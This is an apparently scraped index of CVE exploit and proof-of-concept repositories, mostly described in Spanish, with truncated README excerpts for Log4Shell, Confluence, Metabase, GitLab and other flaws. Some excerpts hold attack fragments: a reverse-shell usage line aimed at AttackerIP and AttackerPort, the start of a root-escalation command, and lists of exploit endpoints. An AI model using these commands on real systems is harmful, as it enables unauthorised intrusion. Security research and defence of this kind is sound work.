LogJackFix

LogJack Fix A spigot plugin to fix CVE-2021-44228 Log4j remote code execution vulnerability, to protect Minecraft clients. Building root@kitploit: gradle build License Licensed under GPLv3 Copyright c 2021 lordpipe Contributing By making a contribution to this repository, I certify that: a The...

Citrix-Bleed-Buffer-Overread-Demo

Citrix-Bleed-Buffer-Overread-Demo Este código aproxima funcionalmente la vulnerabilidad Citrix Bleed CVE-2023-4699 del manejo inadecuado del valor de retorno de snprintf en C...

CVE-2018-17552

CVE-2018-17552 Ver documento aquí https://docs.google.com/document/d/1Enu58910099gFJ24AGkOtnJoQgtAibm2/edit?usp=sharing&ouid=116617095858459545855&rtpof=true&sd=true...

CVE-2021-3831

Exploit PHP CVE-2021-3831 Script Resumen Este script PHP está diseñado para interactuar con un sitio web objetivo generando hashes MD5 específicos y realizando solicitudes HTTP para explotar posibles vulnerabilidades. Está destinado únicamente a fines educativos y solo debe utilizarse en entornos...

Confluence_CVE-2021-26084

ConfluenceCVE-2021-26084 Ejecución remota de código en servidores Confluence : CVE-2021-26084 PoC Posibles endpoints de explotación en Confluence root@kitploit: https:///login https:///pages/templates2/viewpagetemplate.action https:///template/custom/content-editor...

CVE-2015-2546-Exploit

CVE-2015-2546-Exploit Mi artículo sobre CVE-2015-2546: http://bobao.360.cn/learning/detail/3184.html Mi blog: http://whereisk0shl.top...

struts_rest_rce_fuzz-CVE-2017-9805-

Este repositorio no tiene un README...

apache-vulnerable

Escanea versiones de Apache "ZERO-DAY" Apache Version 2.4.49 and 2.4.50 CVE-2021-41773 and CVE-2021-42013 Cómo usar : ¡Necesitarás nuclei! https://github.com/projectdiscovery/nuclei Comprueba la instalación local de nuclei y verifica la plantilla nuclei -t apache-vulnerable-versions.yaml -vv y...

log4j-CVE-2021-44228

Apache Log4j Día Cero aka Log4Shell aka CVE-2021-44228 Introducción Reproduciendo el problema en entorno k8s Configurando el entorno k8s con la vulnerabilidad Posibles Soluciones Política de Seguridad de KubeArmor No permitir ejecuciones desde JVM/Java Reglas basadas en denegación por defecto...

METABASE-RCE-CVE-2023-38646-

METABASE-RCE-CVE-2023-38646- Para obtener el usuario root de la máquina o sistema según la información anterior, este comando y archivo accederán al usuario root. Puedes ejecutar este comando directamente o ejecutar como archivo y ejecutarlo. Comando: $unshare -rm sh -c "mkdir l u w m && cp /u/b/...

CVE-2024-50623-poc

CVE-2024-50623-poc python poc.py --host http://192.168.0.1:8983...

external_expat-2.1.0_CVE-2022-25313

Este repositorio no tiene un README...

GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-scanner Uso root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort Créditos https://hackerone.com/reports/1154542 Fragmento de código referenciado desde aquí: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py...

Mandela-Classic

Mandela Rewritten App de personalización de iOS impulsada por CVE-2022-46689. No se requiere jailbreak. Descargo de responsabilidad No soy responsable de ningún daño a tu dispositivo. Usa esta app bajo tu propio riesgo. Instrucciones de compilación root@kitploit: git clone...

CVE-2023-1326-PoC

CVE-2023-1326-PoC Una prueba de concepto para CVE-2023–1326 en apport-cli 2.26.0 Esta vulnerabilidad es una escalada de privilegios en apport-cli 2.26.0, similar a CVE-2023–26604; esta vulnerabilidad solo funciona si se asigna en sudoers: Se encontró un ataque de escalada de privilegios en...

apache__dolphinscheduler_CVE-2023-49109_3-2-0

Apache Dolphinscheduler Acerca de Apache DolphinScheduler es una plataforma moderna de orquestación de datos que impulsa el desarrollo ágil y de bajo código de flujos de trabajo de alto rendimiento. Está dedicada a gestionar las dependencias complejas de tareas en las canalizaciones de datos, y...

Mandela-Legacy

¡Advertencia! Esto está siendo eliminado gradualmente en favor de Mandela Rewritten! ¡Por favor, ve allí para futuras actualizaciones! Mandela Aplicación de personalización de iOS impulsada por CVE-2022-46689. No se requiere jailbreak. Descargo de responsabilidad No soy responsable de ningún daño...

cve-2021-41773-nse

cve-2021-41773-nse Por George Labrin @creadpag N|Solid Comprueba si el servidor es vulnerable a Apache 2.4.49 CVE-2021-41773. POC Abre tu terminal favorita y ejecuta estos comandos. Primera pestaña: root@kitploit: mv cve-2021-41773.nse /usr/share/nmap/scripts/ Segunda pestaña: root@kitploit: sudo...

cve-2017-8760

Exploit toolkit CVE-2017-8759 - v1.0 Exploit toolkit CVE-2017-8759 - v1.0 is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft .NET Framework RCE. It could generate a malicious RTF file and deliver metasploit / meterpreter / other...

CVE-2019-0708Poc-BatchScanning

title:CVE-2019-0708 Detección Masiva Esta detección masiva se basa en la herramienta de detección no invasiva publicada por 360 0708detector.exe, con las siguientes funciones: 1. Detección individual 2. Detección masiva root@kitploit: ¡Haga doble clic en 0708detector-全自动批量版.exe para usarlo! La...